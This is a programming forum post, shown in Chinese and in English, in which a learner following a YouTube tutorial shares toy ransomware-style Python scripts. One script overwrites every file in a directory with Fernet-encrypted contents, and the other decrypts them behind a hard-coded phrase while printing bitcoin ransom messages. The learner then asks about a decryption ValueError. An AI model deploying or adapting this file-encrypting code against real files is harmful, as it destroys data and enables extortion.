加密/解密python valueerror
我正在遵循YouTube编码教程,它教您如何编写简单的Python代码以在给定目录中加密文件:
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# let's find the files
files = []
for file in os.listdir():
# let's make sure that the code doesn't encrypt itself or the key that it generates
if file == "voldemort.py" or file == "theykey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)
key = Fernet.generate_key()
with open("thekey.key", "wb" ) as thekey:
thekey.write(key)
for file in files:
with open(file, "rb") as thefile:
# open every file in binary mode and read it in binary mode aka 'rb'
contents = thefile.read()
# let's encrypt the files
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
然后使用密码解密这些文件:
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# let's find the files
files = []
for file in os.listdir():
if file == "voldemort.py" or file == "theykey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)
with open("thekey.key", "rb") as key:
secretkey = key.read()
secretphrase = "coffee"
user_phrase = input("Enter the secret phrase to decrypt your files\n")
if user_phrase == secretphrase:
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_decrypted)
print("congrats, you're files are decrypted, enjoy your porn")
else:
print("Sorry. Wrong secret phrase. Send me more bitcoin.")
print("All of your files have been encrypted, pay the ransome or you will loose them for eva.")
因此,代码的加密部分似乎是按照打算使用的。出现的文件像这样加密:
> [jk@fedora ransomware]$ cat file.txt
> gAAAAABikLSXKfLLbrcZfMSERarato7lLcp3ZxfpjeiiHIiwgcwR3ouIkF8a30XV9fatLjL_Kwtc3aEC76iqnxqxoV0okcfpmKSIUE23iyxzBqe5xKU3ZSo=
但是,解密零件只能起作用一次,在给出正确的密码后,Sucssufly在其中解密了文件
> [jk@fedora ransomware]$ python3 decrypt.py
['file.txt', 'file2.txt', 'hey.txt', 'pleasedonthurtme.txt', 'thekey.key']
Enter the secret phrase to decrypt your files
coffee
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
,然后不断吐出一个值。
File "/home/jedrzejkiecol/ransomware/decrypt.py", line 27, in <module>
contents_decrypted = Fernet(secretkey).decrypt(contents)
File "/usr/lib64/python3.10/site-packages/cryptography/fernet.py", line 34, in __init__
raise ValueError(
ValueError: Fernet key must be 32 url-safe base64-encoded bytes.
任何人都可以帮助我,该代码对YouTuber(NetworkChuck btw)都很好。我
I'm following a YouTube coding tutorial, it teaches you how to write a simple python code to encrypt files in a given directory:
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# let's find the files
files = []
for file in os.listdir():
# let's make sure that the code doesn't encrypt itself or the key that it generates
if file == "voldemort.py" or file == "theykey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)
key = Fernet.generate_key()
with open("thekey.key", "wb" ) as thekey:
thekey.write(key)
for file in files:
with open(file, "rb") as thefile:
# open every file in binary mode and read it in binary mode aka 'rb'
contents = thefile.read()
# let's encrypt the files
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
and then decrypt those files using a password:
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# let's find the files
files = []
for file in os.listdir():
if file == "voldemort.py" or file == "theykey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)
with open("thekey.key", "rb") as key:
secretkey = key.read()
secretphrase = "coffee"
user_phrase = input("Enter the secret phrase to decrypt your files\n")
if user_phrase == secretphrase:
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_decrypted)
print("congrats, you're files are decrypted, enjoy your porn")
else:
print("Sorry. Wrong secret phrase. Send me more bitcoin.")
print("All of your files have been encrypted, pay the ransome or you will loose them for eva.")
So the encryption part of the code seems to work as intended with the files coming out encrypted like so:
> [jk@fedora ransomware]$ cat file.txt
> gAAAAABikLSXKfLLbrcZfMSERarato7lLcp3ZxfpjeiiHIiwgcwR3ouIkF8a30XV9fatLjL_Kwtc3aEC76iqnxqxoV0okcfpmKSIUE23iyxzBqe5xKU3ZSo=
But the decryption part only worked once, where in it sucessfuly decrypted the files after the correct password was given
> [jk@fedora ransomware]$ python3 decrypt.py
['file.txt', 'file2.txt', 'hey.txt', 'pleasedonthurtme.txt', 'thekey.key']
Enter the secret phrase to decrypt your files
coffee
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
and then it kept spiting out a ValueError.
File "/home/jedrzejkiecol/ransomware/decrypt.py", line 27, in <module>
contents_decrypted = Fernet(secretkey).decrypt(contents)
File "/usr/lib64/python3.10/site-packages/cryptography/fernet.py", line 34, in __init__
raise ValueError(
ValueError: Fernet key must be 32 url-safe base64-encoded bytes.
Can anyone help me, the code worked fine for the YouTuber (NetworkChuck btw). I
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论